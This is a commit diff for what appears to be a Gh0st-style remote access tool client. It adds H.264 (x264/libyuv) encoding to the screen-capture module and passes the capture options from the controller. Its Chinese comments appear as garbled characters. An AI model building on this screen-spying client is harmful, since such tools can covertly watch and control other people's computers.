Screen image transmission uses H.264 compression #65
This commit is contained in:
@@ -70,23 +70,23 @@
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Configuration)\dll</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
|
||||
<IntDir>$(Configuration)\dll</IntDir>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(IncludePath)</IncludePath>
|
||||
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
|
||||
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
@@ -102,7 +102,7 @@
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
||||
<IgnoreSpecificDefaultLibraries>libcmt.lib;msvcrt.lib</IgnoreSpecificDefaultLibraries>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
@@ -138,6 +138,7 @@
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
<IgnoreSpecificDefaultLibraries>msvcrt.lib</IgnoreSpecificDefaultLibraries>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
@@ -182,6 +183,7 @@
|
||||
<ClCompile Include="SystemManager.cpp" />
|
||||
<ClCompile Include="TalkManager.cpp" />
|
||||
<ClCompile Include="VideoManager.cpp" />
|
||||
<ClCompile Include="X264Encoder.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\commands.h" />
|
||||
@@ -211,6 +213,7 @@
|
||||
<ClInclude Include="TalkManager.h" />
|
||||
<ClInclude Include="VideoCodec.h" />
|
||||
<ClInclude Include="VideoManager.h" />
|
||||
<ClInclude Include="X264Encoder.h" />
|
||||
<ClInclude Include="zconf.h" />
|
||||
<ClInclude Include="zlib.h" />
|
||||
</ItemGroup>
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#pragma once
|
||||
|
||||
#include "StdAfx.h"
|
||||
#include "IOCPClient.h"
|
||||
#include "common/commands.h"
|
||||
|
||||
@@ -11,6 +11,13 @@ typedef struct _THREAD_ARG_LIST
|
||||
HANDLE hEvent;
|
||||
}THREAD_ARG_LIST, *LPTHREAD_ARG_LIST;
|
||||
|
||||
typedef struct UserParam
|
||||
{
|
||||
BYTE* buffer;
|
||||
int length;
|
||||
~UserParam() { SAFE_DELETE_ARRAY(buffer); }
|
||||
}UserParam;
|
||||
|
||||
HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes, //<2F><>ȫ<EFBFBD><C8AB><EFBFBD><EFBFBD>
|
||||
SIZE_T dwStackSize, //<2F>߳<EFBFBD>ջ<EFBFBD>Ĵ<EFBFBD>С 0
|
||||
LPTHREAD_START_ROUTINE StartAddress, //<2F>̺߳<DFB3><CCBA><EFBFBD><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD> MyMain
|
||||
|
||||
@@ -11,6 +11,7 @@
|
||||
|
||||
#define ALGORITHM_GRAY 0
|
||||
#define ALGORITHM_DIFF 1
|
||||
#define ALGORITHM_H264 2
|
||||
|
||||
#define MAX_CURSOR_TYPE 16
|
||||
|
||||
|
||||
@@ -177,7 +177,11 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
|
||||
case COMMAND_SCREEN_SPY:
|
||||
{
|
||||
m_hThread[m_ulThreadCount].user = ulLength > 1 ? (void*)(szBuffer[1]) : NULL;
|
||||
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
|
||||
if (ulLength > 1) {
|
||||
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||
}
|
||||
m_hThread[m_ulThreadCount].user = user;
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopScreenManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
|
||||
@@ -13,6 +13,7 @@
|
||||
#include <condition_variable>
|
||||
#include <functional>
|
||||
#include <future>
|
||||
#include "X264Encoder.h"
|
||||
|
||||
|
||||
class ThreadPool {
|
||||
@@ -103,11 +104,12 @@ public:
|
||||
int m_FrameID; // ֡<><D6A1><EFBFBD><EFBFBD>
|
||||
int m_GOP; // <20>ؼ<EFBFBD>֡<EFBFBD><D6A1><EFBFBD><EFBFBD>
|
||||
bool m_SendKeyFrame; // <20><><EFBFBD>ؼ<CDB9>֡
|
||||
CX264Encoder *m_encoder; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
ScreenCapture() : m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
|
||||
m_BitmapInfor_Full(nullptr), m_bAlgorithm(ALGORITHM_DIFF),
|
||||
ScreenCapture(BYTE algo = ALGORITHM_DIFF) : m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
|
||||
m_BitmapInfor_Full(nullptr), m_bAlgorithm(algo),
|
||||
m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1),
|
||||
m_FrameID(0), m_GOP(DEFAULT_GOP), m_SendKeyFrame(false){
|
||||
m_FrameID(0), m_GOP(DEFAULT_GOP), m_SendKeyFrame(false), m_encoder(nullptr){
|
||||
|
||||
m_BlockNum = 8;
|
||||
m_ThreadPool = new ThreadPool(m_BlockNum);
|
||||
@@ -127,6 +129,14 @@ public:
|
||||
Mprintf("=> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>: %.2f, %.2f\t<EFBFBD>ֱ<EFBFBD><EFBFBD>ʣ<EFBFBD>%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight);
|
||||
m_wZoom = 1.0 / m_wZoom, m_hZoom = 1.0 / m_hZoom;
|
||||
|
||||
if (ALGORITHM_H264 == m_bAlgorithm)
|
||||
{
|
||||
m_encoder = new CX264Encoder();
|
||||
if (!m_encoder->open(m_ulFullWidth, m_ulFullHeight, 20, m_ulFullWidth * m_ulFullHeight / 1266)) {
|
||||
Mprintf("Open x264encoder failed!!!\n");
|
||||
}
|
||||
}
|
||||
|
||||
m_BlockBuffers = new LPBYTE[m_BlockNum];
|
||||
m_BlockSizes = new ULONG[m_BlockNum];
|
||||
for (int blockY = 0; blockY < m_BlockNum; ++blockY) {
|
||||
@@ -147,6 +157,7 @@ public:
|
||||
SAFE_DELETE_ARRAY(m_BlockSizes);
|
||||
|
||||
SAFE_DELETE(m_ThreadPool);
|
||||
SAFE_DELETE(m_encoder);
|
||||
}
|
||||
|
||||
public:
|
||||
@@ -240,6 +251,12 @@ public:
|
||||
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
||||
}
|
||||
|
||||
void ToGray(LPBYTE dst, LPBYTE src, int biSizeImage) {
|
||||
for (ULONG i = 0; i < biSizeImage; i += 4, dst += 4, src += 4) {
|
||||
dst[0] = dst[1] = dst[2] = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10;
|
||||
}
|
||||
}
|
||||
|
||||
// <20>㷨+<2B><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
LPBYTE GetNextScreenData(ULONG* ulNextSendLength) {
|
||||
BYTE algo = m_bAlgorithm;
|
||||
@@ -266,7 +283,9 @@ public:
|
||||
// <20>ֶ<EFBFBD>ɨ<EFBFBD><C9A8>ȫ<EFBFBD><C8AB>Ļ <20><><EFBFBD>µ<EFBFBD>λͼ<CEBB><CDBC><EFBFBD>뵽m_hDiffMemDC<44><43>
|
||||
LPBYTE nextData = ScanNextScreen();
|
||||
if (nullptr == nextData) {
|
||||
return nullptr;
|
||||
// ɨ<><C9A8><EFBFBD><EFBFBD>һ֡ʧ<D6A1><CAA7>Ҳ<EFBFBD><D2B2>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><CDB9><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD>ƶ<EFBFBD>
|
||||
*ulNextSendLength = 1 + offset;
|
||||
return m_RectBuffer;
|
||||
}
|
||||
|
||||
#if SCREENYSPY_IMPROVE
|
||||
@@ -281,22 +300,57 @@ public:
|
||||
|
||||
if (keyFrame)
|
||||
{
|
||||
*ulNextSendLength = 1 + offset + m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
||||
if (algo != ALGORITHM_GRAY)
|
||||
switch (algo)
|
||||
{
|
||||
case ALGORITHM_DIFF: {
|
||||
*ulNextSendLength = 1 + offset + m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
||||
memcpy(data + offset, nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
break;
|
||||
}
|
||||
else
|
||||
{
|
||||
LPBYTE dst = data + offset, src = nextData;
|
||||
for (ULONG i = 0; i < m_BitmapInfor_Full->bmiHeader.biSizeImage; i += 4, dst += 4, src += 4) {
|
||||
dst[0] = dst[1] = dst[2] = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10;
|
||||
case ALGORITHM_GRAY: {
|
||||
*ulNextSendLength = 1 + offset + m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
||||
ToGray(data + offset, nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
break;
|
||||
}
|
||||
case ALGORITHM_H264: {
|
||||
uint8_t* encoded_data = nullptr;
|
||||
uint32_t encoded_size = 0;
|
||||
int err = m_encoder->encode(nextData, 32, 4*m_BitmapInfor_Full->bmiHeader.biWidth,
|
||||
m_ulFullWidth, m_ulFullHeight, &encoded_data, &encoded_size);
|
||||
if (err) {
|
||||
return nullptr;
|
||||
}
|
||||
*ulNextSendLength = 1 + offset + encoded_size;
|
||||
memcpy(data + offset, encoded_data, encoded_size);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
memcpy(GetFirstBuffer(), nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
}
|
||||
else {
|
||||
*ulNextSendLength = 1 + offset + MultiCompareBitmap(nextData, GetFirstBuffer(), data + offset, GetBMPSize(), algo);
|
||||
switch (algo)
|
||||
{
|
||||
case ALGORITHM_DIFF: case ALGORITHM_GRAY: {
|
||||
*ulNextSendLength = 1 + offset + MultiCompareBitmap(nextData, GetFirstBuffer(), data + offset, GetBMPSize(), algo);
|
||||
break;
|
||||
}
|
||||
case ALGORITHM_H264: {
|
||||
uint8_t* encoded_data = nullptr;
|
||||
uint32_t encoded_size = 0;
|
||||
int err = m_encoder->encode(nextData, 32, 4 * m_BitmapInfor_Full->bmiHeader.biWidth,
|
||||
m_ulFullWidth, m_ulFullHeight, &encoded_data, &encoded_size);
|
||||
if (err) {
|
||||
return nullptr;
|
||||
}
|
||||
*ulNextSendLength = 1 + offset + encoded_size;
|
||||
memcpy(data + offset, encoded_data, encoded_size);
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return m_RectBuffer;
|
||||
|
||||
@@ -22,7 +22,7 @@ private:
|
||||
BYTE* m_NextBuffer = nullptr;
|
||||
|
||||
public:
|
||||
ScreenCapturerDXGI(int gop = DEFAULT_GOP) : ScreenCapture() {
|
||||
ScreenCapturerDXGI(BYTE algo, int gop = DEFAULT_GOP) : ScreenCapture(algo) {
|
||||
m_GOP = gop;
|
||||
InitDXGI();
|
||||
Mprintf("Capture screen with DXGI: GOP= %d\n", m_GOP);
|
||||
@@ -111,7 +111,9 @@ public:
|
||||
int ret = CaptureFrame(m_FirstBuffer, ulFirstScreenLength, 1);
|
||||
if (ret)
|
||||
return nullptr;
|
||||
|
||||
if (m_bAlgorithm == ALGORITHM_GRAY) {
|
||||
ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
}
|
||||
m_FirstBuffer[0] = TOKEN_FIRSTSCREEN;
|
||||
return m_FirstBuffer;
|
||||
}
|
||||
|
||||
@@ -45,8 +45,20 @@ CScreenManager::CScreenManager(IOCPClient* ClientObject, int n, void* user):CMan
|
||||
m_bIsWorking = TRUE;
|
||||
m_bIsBlockInput = FALSE;
|
||||
|
||||
bool DXGI = user;
|
||||
m_ScreenSpyObject = (DXGI && IsWindows8orHigher()) ? (ScreenCapture*) new ScreenCapturerDXGI() : new CScreenSpy(32);
|
||||
bool DXGI = false;
|
||||
BYTE algo = ALGORITHM_DIFF;
|
||||
if (!(user == NULL || (int)user == 1)) {
|
||||
UserParam* param = (UserParam*)user;
|
||||
if (param) {
|
||||
DXGI = param->buffer[0];
|
||||
algo = param->length > 1 ? param->buffer[1] : algo;
|
||||
delete param;
|
||||
}
|
||||
} else {
|
||||
DXGI = user;
|
||||
}
|
||||
Mprintf("CScreenManager: DXGI %s Algorithm: %d\n", DXGI ? "On":"Off", int(algo));
|
||||
m_ScreenSpyObject = (DXGI && IsWindows8orHigher()) ? (ScreenCapture*) new ScreenCapturerDXGI(algo) : new CScreenSpy(32, algo);
|
||||
|
||||
m_hWorkThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)WorkThreadProc,this,0,NULL);
|
||||
}
|
||||
|
||||
@@ -11,10 +11,9 @@
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, int gop) : ScreenCapture()
|
||||
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop) : ScreenCapture(algo)
|
||||
{
|
||||
m_GOP = gop;
|
||||
m_bAlgorithm = ALGORITHM_DIFF;
|
||||
int m_ulbiBitCount = (ulbiBitCount == 16 || ulbiBitCount == 32) ? ulbiBitCount : 16;
|
||||
|
||||
m_BitmapInfor_Full = new BITMAPINFO();
|
||||
@@ -98,6 +97,9 @@ LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
|
||||
|
||||
m_RectBuffer[0] = TOKEN_FIRSTSCREEN;
|
||||
memcpy(1 + m_RectBuffer, m_BitmapData_Full, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
if (m_bAlgorithm == ALGORITHM_GRAY) {
|
||||
ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
}
|
||||
*ulFirstScreenLength = m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
||||
|
||||
return m_RectBuffer; //<2F>ڴ<EFBFBD>
|
||||
|
||||
@@ -31,7 +31,7 @@ private:
|
||||
ULONG m_RectBufferOffset; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
|
||||
public:
|
||||
CScreenSpy(ULONG ulbiBitCount, int gop = DEFAULT_GOP);
|
||||
CScreenSpy(ULONG ulbiBitCount, BYTE algo, int gop = DEFAULT_GOP);
|
||||
|
||||
virtual ~CScreenSpy();
|
||||
|
||||
|
||||
163
client/X264Encoder.cpp
Normal file
163
client/X264Encoder.cpp
Normal file
@@ -0,0 +1,163 @@
|
||||
#include "X264Encoder.h"
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#ifdef _WIN64
|
||||
#pragma comment(lib,"libyuv/libyuv_x64.lib")
|
||||
#pragma comment(lib,"x264/libx264_x64.lib")
|
||||
#else
|
||||
#pragma comment(lib,"libyuv/libyuv.lib")
|
||||
#pragma comment(lib,"x264/libx264.lib")
|
||||
#endif
|
||||
|
||||
CX264Encoder::CX264Encoder()
|
||||
{
|
||||
memset(&m_Param, 0, sizeof(m_Param));
|
||||
m_pCodec = NULL;
|
||||
m_pPicIn = NULL;
|
||||
m_pPicOut = NULL;
|
||||
}
|
||||
|
||||
|
||||
CX264Encoder::~CX264Encoder()
|
||||
{
|
||||
close();
|
||||
}
|
||||
|
||||
bool CX264Encoder::open(int width, int height, int fps, int bitrate)
|
||||
{
|
||||
x264_param_t param = { 0 };
|
||||
x264_param_default_preset(¶m, "ultrafast", "zerolatency");
|
||||
|
||||
param.i_width = width & 0xfffffffe;
|
||||
param.i_height = height & 0xfffffffe;
|
||||
|
||||
//x264_LOG_NONE
|
||||
param.i_log_level = X264_LOG_NONE;
|
||||
param.i_threads = 1;
|
||||
param.i_frame_total = 0;
|
||||
param.i_keyint_max = 10;
|
||||
param.i_bframe = 0; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>b֡
|
||||
param.b_open_gop = 0;
|
||||
param.i_fps_num = fps;
|
||||
param.i_csp = X264_CSP_I420;
|
||||
|
||||
if (bitrate)
|
||||
{
|
||||
param.rc.i_rc_method = X264_RC_ABR;
|
||||
param.rc.i_bitrate = bitrate;
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>profile.
|
||||
if (x264_param_apply_profile(¶m, x264_profile_names[0]))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
return open(¶m);
|
||||
}
|
||||
|
||||
bool CX264Encoder::open(x264_param_t * param)
|
||||
{
|
||||
m_pPicIn = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
|
||||
m_pPicOut = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
|
||||
|
||||
//input pic.
|
||||
x264_picture_init(m_pPicIn);
|
||||
|
||||
x264_picture_alloc(
|
||||
m_pPicIn,
|
||||
X264_CSP_I420,
|
||||
param->i_width,
|
||||
param->i_height);
|
||||
|
||||
//create codec instance.
|
||||
m_pCodec = x264_encoder_open(param);
|
||||
if (m_pCodec == NULL){
|
||||
return false;
|
||||
}
|
||||
memcpy(&m_Param, param, sizeof(m_Param));
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
void CX264Encoder::close()
|
||||
{
|
||||
if (m_pCodec)
|
||||
{
|
||||
x264_encoder_close(m_pCodec);
|
||||
m_pCodec = NULL;
|
||||
}
|
||||
|
||||
if (m_pPicIn)
|
||||
{
|
||||
x264_picture_clean(m_pPicIn);
|
||||
free(m_pPicIn);
|
||||
m_pPicIn = NULL;
|
||||
}
|
||||
|
||||
if (m_pPicOut)
|
||||
{
|
||||
free(m_pPicOut);
|
||||
m_pPicOut = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int CX264Encoder::encode(
|
||||
uint8_t * rgb,
|
||||
uint8_t bpp,
|
||||
uint32_t stride,
|
||||
uint32_t width,
|
||||
uint32_t height,
|
||||
uint8_t ** lppData,
|
||||
uint32_t * lpSize,
|
||||
int direction)
|
||||
{
|
||||
int encode_size = 0;
|
||||
x264_nal_t *pNal = NULL;
|
||||
int iNal;
|
||||
|
||||
if ((width & 0xfffffffe) != m_Param.i_width ||
|
||||
(height & 0xfffffffe) != m_Param.i_height)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
switch (bpp)
|
||||
{
|
||||
case 24:
|
||||
libyuv::RGB24ToI420((uint8_t*)rgb, stride,
|
||||
m_pPicIn->img.plane[0], m_pPicIn->img.i_stride[0],
|
||||
m_pPicIn->img.plane[1], m_pPicIn->img.i_stride[1],
|
||||
m_pPicIn->img.plane[2], m_pPicIn->img.i_stride[2],
|
||||
m_Param.i_width, direction * m_Param.i_height);
|
||||
break;
|
||||
case 32:
|
||||
libyuv::ARGBToI420((uint8_t*)rgb, stride,
|
||||
m_pPicIn->img.plane[0], m_pPicIn->img.i_stride[0],
|
||||
m_pPicIn->img.plane[1], m_pPicIn->img.i_stride[1],
|
||||
m_pPicIn->img.plane[2], m_pPicIn->img.i_stride[2],
|
||||
m_Param.i_width, direction * m_Param.i_height);
|
||||
break;
|
||||
default:
|
||||
return -2;
|
||||
}
|
||||
|
||||
|
||||
encode_size = x264_encoder_encode(
|
||||
m_pCodec,
|
||||
&pNal,
|
||||
&iNal,
|
||||
m_pPicIn,
|
||||
m_pPicOut);
|
||||
|
||||
if (encode_size < 0)
|
||||
{
|
||||
return -3;
|
||||
}
|
||||
|
||||
*lppData = pNal->p_payload;
|
||||
*lpSize = encode_size;
|
||||
return 0;
|
||||
}
|
||||
35
client/X264Encoder.h
Normal file
35
client/X264Encoder.h
Normal file
@@ -0,0 +1,35 @@
|
||||
#pragma once
|
||||
|
||||
extern "C"{
|
||||
#include <libyuv\libyuv.h>
|
||||
#include <x264\x264.h>
|
||||
}
|
||||
|
||||
class CX264Encoder
|
||||
{
|
||||
private:
|
||||
x264_t* m_pCodec; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʵ<EFBFBD><CAB5>
|
||||
x264_picture_t *m_pPicIn;
|
||||
x264_picture_t *m_pPicOut;
|
||||
x264_param_t m_Param;
|
||||
public:
|
||||
bool open(int width, int height, int fps,int bitrate);
|
||||
bool open(x264_param_t * param);
|
||||
|
||||
void close();
|
||||
|
||||
int encode(
|
||||
uint8_t * rgb,
|
||||
uint8_t bpp,
|
||||
uint32_t stride,
|
||||
uint32_t width,
|
||||
uint32_t height,
|
||||
uint8_t ** lppData,
|
||||
uint32_t * lpSize,
|
||||
int direction = 1
|
||||
);
|
||||
|
||||
CX264Encoder();
|
||||
~CX264Encoder();
|
||||
};
|
||||
|
||||
@@ -102,7 +102,7 @@
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
||||
<IgnoreSpecificDefaultLibraries>libcmt.lib;msvcrt.lib</IgnoreSpecificDefaultLibraries>
|
||||
<EntryPointSymbol>
|
||||
</EntryPointSymbol>
|
||||
<SubSystem>Console</SubSystem>
|
||||
@@ -146,6 +146,7 @@
|
||||
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EntryPointSymbol>mainCRTStartup</EntryPointSymbol>
|
||||
<IgnoreSpecificDefaultLibraries>msvcrt.lib</IgnoreSpecificDefaultLibraries>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
@@ -192,6 +193,7 @@
|
||||
<ClCompile Include="SystemManager.cpp" />
|
||||
<ClCompile Include="TalkManager.cpp" />
|
||||
<ClCompile Include="VideoManager.cpp" />
|
||||
<ClCompile Include="X264Encoder.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\commands.h" />
|
||||
@@ -219,6 +221,7 @@
|
||||
<ClInclude Include="TalkManager.h" />
|
||||
<ClInclude Include="VideoCodec.h" />
|
||||
<ClInclude Include="VideoManager.h" />
|
||||
<ClInclude Include="X264Encoder.h" />
|
||||
<ClInclude Include="zconf.h" />
|
||||
<ClInclude Include="zlib.h" />
|
||||
</ItemGroup>
|
||||
|
||||
Reference in New Issue
Block a user